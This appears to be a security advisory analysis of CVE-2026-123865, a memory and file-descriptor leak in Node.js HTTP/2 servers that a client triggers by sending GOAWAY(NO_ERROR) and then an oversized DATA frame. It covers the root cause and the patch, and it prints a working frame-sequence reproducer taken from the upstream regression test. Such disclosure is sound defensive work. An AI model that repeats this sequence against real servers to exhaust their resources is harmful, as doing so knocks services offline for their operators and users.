Introduction
An unauthenticated client can leave a default Node.js HTTP/2 server bleeding memory and file descriptors, one abandoned connection at a time, until the process runs out of resources. With CVE-2026-123865, the attacker turns the server's own graceful-shutdown handling against it. By sending GOAWAY(NO_ERROR) first and then a protocol error, the attacker disables the detection that a previous fix added, leaving the socket stuck in CLOSE_WAIT with its HTTP/2 state held indefinitely.
This is an incomplete-fix case of CVE-2026-48937, and it affects Node.js 22.x, 24.x, and 26.x. The CNA assigned a CVSS 3.0 score of 7.5 (High), reflecting network access, low attack complexity, no privileges, no user interaction, and a pure availability impact.
Technical Information
The root cause sits at the boundary between nghttp2's internal session termination and Node.js's recognition of that termination. nghttp2 signals that a connection should be dropped by returning 0 from both want_read and want_write. The earlier fix for CVE-2026-48937 tried to detect internal terminations indirectly: when nghttp2 sent a GOAWAY while Node.js itself was not shutting down, OnFrameSent set the internal_goaway_sent_ flag, and SendPendingData() then raised an error and tore the session down. That detector inferred nghttp2's state from a side effect, an outgoing GOAWAY frame.
The gap is that an attacker can disable the detector before tripping it. When a peer sends GOAWAY(NO_ERROR), core.js automatically calls session.close(), which sets graceful_close_initiated_ and goaway_initiated_ with no application code involved. From that point on, Node.js already believes it is shutting down. If nghttp2 then hits a protocol error, such as an oversized frame, and calls nghttp2_session_terminate_session(FRAME_SIZE_ERROR) internally, the GOAWAY-based check never fires. The open streams and the socket are left hanging: the socket remains in CLOSE_WAIT, and the per-connection HTTP/2 state stays allocated indefinitely, with no further cost to the attacker.
The assigned weakness is CWE-400, Uncontrolled Resource Consumption, with memory and file descriptors identified as the leaked resources. What decides the outcome is the session's lifecycle state, not whether GOAWAY was used at all. Graceful shutdown, normally the way a connection ends cleanly, is itself the state the attacker establishes before triggering the missed cleanup.
Attack flow
Derived from the advisory and the patch, the exploitation path is:
- An unauthenticated client opens an HTTP/2 connection to a default
http2.createServer()endpoint. - The client opens a stream without
END_STREAM, so the stream remains open on the server. - The client sends
GOAWAY(NO_ERROR), causing the server to callsession.close()and enter graceful shutdown, which disarms the existing internal-termination detection. - The client sends an oversized DATA frame header (length one byte over the default
max_frame_sizeof 16384), causing nghttp2 to terminate the session internally withFRAME_SIZE_ERROR. - Node.js never observes the internal termination; the session dangles, the socket stays in
CLOSE_WAIT, and the connection's HTTP/2 state is retained. - Repeating the sequence across many connections leaks memory and file descriptors until resource exhaustion.
Proof of Concept
A public, working reproducer exists as an upstream Node.js regression test. It is not a standalone weaponized exploit, but it fully drives the vulnerable sequence against a default HTTP/2 server and can be adapted into a denial-of-service exploit with little effort. The test was added in the fix as test/parallel/test-http2-session-cleanup-on-nghttp2-goaway-after-peer-goaway.js. It uses a raw net socket to send the HTTP/2 preface and SETTINGS, opens stream 1 without END_STREAM, sends GOAWAY(NO_ERROR), and then sends a DATA frame header declaring length 16385.
The precondition-triggering frame sequence is:
// Open stream 1 without END_STREAM, so it stays open on the server. const block = Buffer.from([ 0x82, 0x86, 0x84, 0x41, 0x09, ...Buffer.from('localhost'), ]); const headers = Buffer.alloc(9); headers.writeUIntBE(block.length, 0, 3); headers[3] = 0x01; // type: HEADERS headers[4] = 0x04; // flags: END_HEADERS headers.writeUInt32BE(1, 5); // stream id: 1 conn.write(Buffer.concat([headers, block])); // GOAWAY(NO_ERROR), last stream id 0 -> server starts graceful close. const goaway = Buffer.alloc(17); goaway.writeUIntBE(8, 0, 3); // length: 8 goaway[3] = 0x07; // type: GOAWAY goaway.writeUInt32BE(0, 9); // last stream id goaway.writeUInt32BE(0, 13); // error code: NO_ERROR conn.write(goaway); // DATA frame header claiming length 16385 (> default max_frame_size 16384), // so nghttp2 terminates the session with FRAME_SIZE_ERROR internally. const oversized = Buffer.alloc(9); oversized.writeUIntBE(16385, 0, 3); // length: 16385 (one over max) oversized[3] = 0x00; // type: DATA oversized.writeUInt32BE(1, 5); // stream id: 1 conn.write(oversized);
On a pre-patch server this leaves the stream, session, and connection hanging. On a patched server the session and stream are cleaned up and the protocol error is surfaced. Because the sequence requires no authentication and works against a default http2.createServer(), repeating these connection and frame sequences across many connections leaks server memory and file descriptors until resource exhaustion. No standalone public weaponized exploit (Metasploit, Nuclei template, ExploitDB entry) was found; the upstream regression test is the available public reproducer.
The backport commit 3fc67dc056a4bd0bbdf21da834fa8b4d73cc5a2e carries an explicit CVE-ID: CVE-2026-123865 trailer and PR-URL: https://github.com/nodejs/node/pull/66641, confirming the mapping to this CVE. The original landed commit is 41b1e6845a40a2328d6fb208462aac97d89b3ccc.
Patch Information
Node.js fixed CVE-2026-123865 in its November 11, 2026 security release, which shipped Node.js 26.13.1, 24.22.3, and 22.23.5. The release notes list the fix as "http2: detect streams abandoned by nghttp2" by Matteo Collina. It was developed in public as PR #66641, reviewed by Tim Perry (who reported the bug), and landed as commit 3fc67dc056 in v26.13.1. Two backport commits, a081fd3a3e and 30fd852c0d, carry the same commit message, the same CVE-ID: CVE-2026-123865 trailer, and the same 17-line C++ change on the 24.x and 22.x lines.
Why the earlier fix missed this case
The advisory calls this an incomplete fix of CVE-2026-48937. That earlier patch spotted nghttp2 killing a session internally by watching for a GOAWAY frame that went out while Node.js itself was not shutting down. When a peer sends GOAWAY(NO_ERROR), core.js calls session.close() automatically, setting graceful_close_initiated_ and goaway_initiated_ with no application code involved. From then on Node.js thinks it is already shutting down, so if nghttp2 later terminates the session internally, the GOAWAY-based check never fires. The old detector inferred nghttp2's state from a side effect, and an attacker could control the conditions that disabled it.
The fix: ask nghttp2 directly
The patch stops guessing from frames and checks nghttp2's own state. nghttp2 signals that a connection should be dropped by returning 0 from both want_read and want_write. A new helper in src/node_http2.cc performs this check:
// nghttp2 signals that the connection should be dropped by having both // want_read and want_write return 0. If that happens while we still track // open streams, nghttp2 has terminated the session on its own (for example // due to a protocol error from the peer) and those streams will never be // completed. bool Http2Session::HasStreamsAbandonedByNghttp2() const { if (HasPendingData()) return false; return std::ranges::any_of(streams_, [](const auto& entry) { return !entry.second->is_closed() && !entry.second->is_destroyed(); }); }
The logic has two steps. First, if nghttp2 still has data it wants to read or write (HasPendingData()), the session is alive and nothing is wrong. Second, if nghttp2 has nothing left to read or write but Node.js still holds a stream that is neither closed nor destroyed, nghttp2 will never finish that stream; it has been abandoned.
The helper is then added as a second trigger in the existing teardown path in Http2Session::SendPendingData():
- // If nghttp2 has internally torn down the session (detected in OnFrameSent) - // during the nghttp2_session_mem_send loop above, at this point we error: - if (internal_goaway_sent_) { + // If nghttp2 has internally torn down the session (detected in OnFrameSent, + // or because it no longer wants to read or write while we still have open + // streams) during the nghttp2_session_mem_send loop above, at this point we + // error: + if (internal_goaway_sent_ || HasStreamsAbandonedByNghttp2()) { internal_goaway_sent_ = false; if (!is_closing() && !is_destroyed()) {
The original internal_goaway_sent_ check is kept, so the earlier fix still works. The new check covers terminations that arrive after a graceful close has started. Both lead to the same existing error-and-teardown branch, so no new cleanup code was needed: the patch makes sure the existing cleanup actually runs. The matching declaration (bool HasStreamsAbandonedByNghttp2() const;) is added to src/node_http2.h.
Regression test and footprint
The commit adds test/parallel/test-http2-session-cleanup-on-nghttp2-goaway-after-peer-goaway.js (116 lines), which plays the attacker's exact sequence over a raw socket and then checks that both the stream and session emit ERR_HTTP2_ERROR ('Protocol error'), that both emit close, and that the server ends the TCP connection. That last point is what matters for the CVE: the socket no longer gets stuck in CLOSE_WAIT, and the per-connection HTTP/2 state is freed instead of being held forever. The overall change is small and contained, at 134 additions and 3 deletions across 3 files, almost all of it the test. It changes no public API and adds no configuration.
Affected Systems and Versions
The advisory names the active 22.x, 24.x, and 26.x release lines:
| Node.js branch | Affected builds within the named branch | Corrected security release | Release date |
|---|---|---|---|
| 22.x | Before 22.23.5 | 22.23.5 | November 11, 2026 |
| 24.x | Before 24.22.3 | 24.22.3 | November 11, 2026 |
| 26.x | Before 26.13.1 | 26.13.1 | November 11, 2026 |
The CVE record also encodes broader ranges beginning at 0.0.0, 23.0.0, and 25.0.0. Do not read the table as assurance that omitted or unsupported versions are safe; the vendor narrative specifically names the active 22.x, 24.x, and 26.x lines. The default http2.createServer() configuration is enough to be affected; no special configuration is required.
Vendor Security History
The relevant history here is the direct lineage from CVE-2026-48937 to CVE-2026-123865. The June 2026 advisory described CVE-2026-48937 as HTTP/2 sessions failing to clean up after GOAWAY on invalid protocol errors, affecting Node.js 22 and 24. The November advisory explains the precise gap: the earlier fix detected nghttp2 internal termination only while the session was not shutting down, and missed termination when shutdown was already underway. The November response adds explicit abandoned-stream detection and a regression test. That is a corrective engineering response, and it also documents a real completeness failure in the earlier fix. For evaluating this specific issue, the actionable evidence is the corrected release and its regression coverage, not a general claim that the ecosystem is secure or insecure.
References
- NVD: CVE-2026-123865
- CVE Record: CVE-2026-123865
- Node.js November 11, 2026 Security Releases
- Node.js November 2026 advisory source markdown
- OpenJS Foundation CNA Security Advisories
- Node.js June 18, 2026 Security Releases (CVE-2026-48937)
- CVE Record: CVE-2026-48937
- Node.js 22.23.5 (LTS) release notes
- Node.js 24.22.3 (LTS) release notes
- Node.js 26.13.1 (LTS) release notes
- Node.js v26.13.1 GitHub release tag
- Fix commit 3fc67dc056 (http2: detect streams abandoned by nghttp2)
- Fix commit 3fc67dc056 (GitHub API)
- Original landed commit 41b1e6845a (GitHub API)
- Backport commit a081fd3a3e (GitHub API)
- Backport commit 30fd852c0d (GitHub API)
- PR #66641 (GitHub API)
- SecurityOnline: Node.js HTTP/2 and TLS Vulnerabilities Fixed
- CWE-400: Uncontrolled Resource Consumption
- VulDB: CVE-2026-123865 in Node.js
- CISA Known Exploited Vulnerabilities Catalog
- NodeSource: Node.js Downloads Surge in 2026
- OpenJS Foundation Security Program Annual Report 2025
- Node.js Security Reporting
- Node.js Project Governance



